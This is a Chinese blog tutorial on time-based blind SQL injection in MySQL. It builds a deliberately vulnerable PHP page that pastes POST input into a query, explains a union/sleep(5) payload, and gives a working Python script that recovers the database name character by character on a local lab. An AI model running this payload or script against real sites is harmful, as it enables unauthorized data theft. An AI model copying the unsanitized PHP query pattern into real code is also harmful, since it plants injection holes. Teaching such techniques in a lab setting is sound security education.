mysql脚本编写,基于MySQL的Time Attacking自动化脚本编写

今天来介绍基于MySQL的Time Attacking原理,并且用Python编写一个获取当前网站所用数据库名称的自动化脚本。

准备工作

先来模拟一个具有SQL注入漏洞的网站,该网站由一张html页面Injection.html和对应的后台php页面Injection.php构成。

Injection.html代码如下:

Injection

Injection.php代码如下:

$text = $_POST['text'];

$myconn = mysql_connect('127.0.0.1', 'root', 'passwd');

mysql_select_db('securitytest', $myconn);

$sql = "select * from test where id = " . $text;

$result = mysql_query($sql, $myconn) or die('die');

while($row = mysql_fetch_array($result)) {

?>

<?php echo $row["id"]?><?php echo $row["value"]?>

}

mysql_close($myconn);

?>

由此可见,用户可在html页面中的输入框中输入一个id,提交查询数据库中相应的值。当输入16时,输出结果如下:

19f11d599602

正常输出结果

Time Attacking原理

由上代码可知,php在得到post的值之后,在没对它进行任何检测的前提下,直接将之与一条sql select语句进行拼接,交由数据库直接执行。因此,当用户输入以下内容时:

16 union select 1, if(substring(current, 1, 1) = char(97), sleep(5), null) from (select database() as current) as sss;

数据库要执行的sql语句就成为了:

select * from test where id = 16 union select 1, if(substring(current, 1, 1) = char(97), sleep(5), null) from (select database() as current) as sss;

这条语句的作用是先通过select database()将当前使用的数据库的名称放入current参数,再通过substring(current, 1, 1) = char(97)判断current表示的字符串的第一位是不是char(97),即ascii字符a。若数据库的名称的确是以a开头的,则会执行 sleep(5),即数据库要在5s后才会返回查询结果;若不是,则立即返回查询结果。通过对这种时间的长短进行判断,就能依次套出该数据库名称的每一个字符。

自动化脚本编写

根据以上原理,现用Python来编写一个自动化脚本,来取得数据库的名称。假设数据库的名称全由字母组成,若实际情况中存在数字等字符,则需要对该脚本进行修改。代码如下:

#!/usr/bin/env python

#coding=utf8

import httplib, urllib, time

httpClient = None

try:

headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"};

dbName = "";

i = 1;

while(True):

found = False;

for j in range(97, 123):

params = urllib.urlencode({'text': "16 union select 1, if(substring(current, " + str(i) + ", 1) = char(" + str(j) + "), sleep(5), null) from (select database() as current) as sss;"});

httpClient = httplib.HTTPConnection("localhost", 80, timeout=30);

start_time = time.time();

httpClient.request("POST", "/WebSecurity/SQL/Injection.php", params, headers);

response = httpClient.getresponse();

stop_time = time.time();

if (response.status == 200 and (stop_time - start_time) >= 5):

print(str(i) + " --> " + chr(j));

dbName += chr(j);

i += 1;

found = True;

break;

if (not found):

print(dbName);

break;

except Exception, e:

print e

finally:

if httpClient:

httpClient.close()

运行结果如下图所示:

19f11d599602

运行结果

结语

以上是我的一些经验与心得,若有不足之处,请予指正。希望这篇文章对你有所帮助_。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值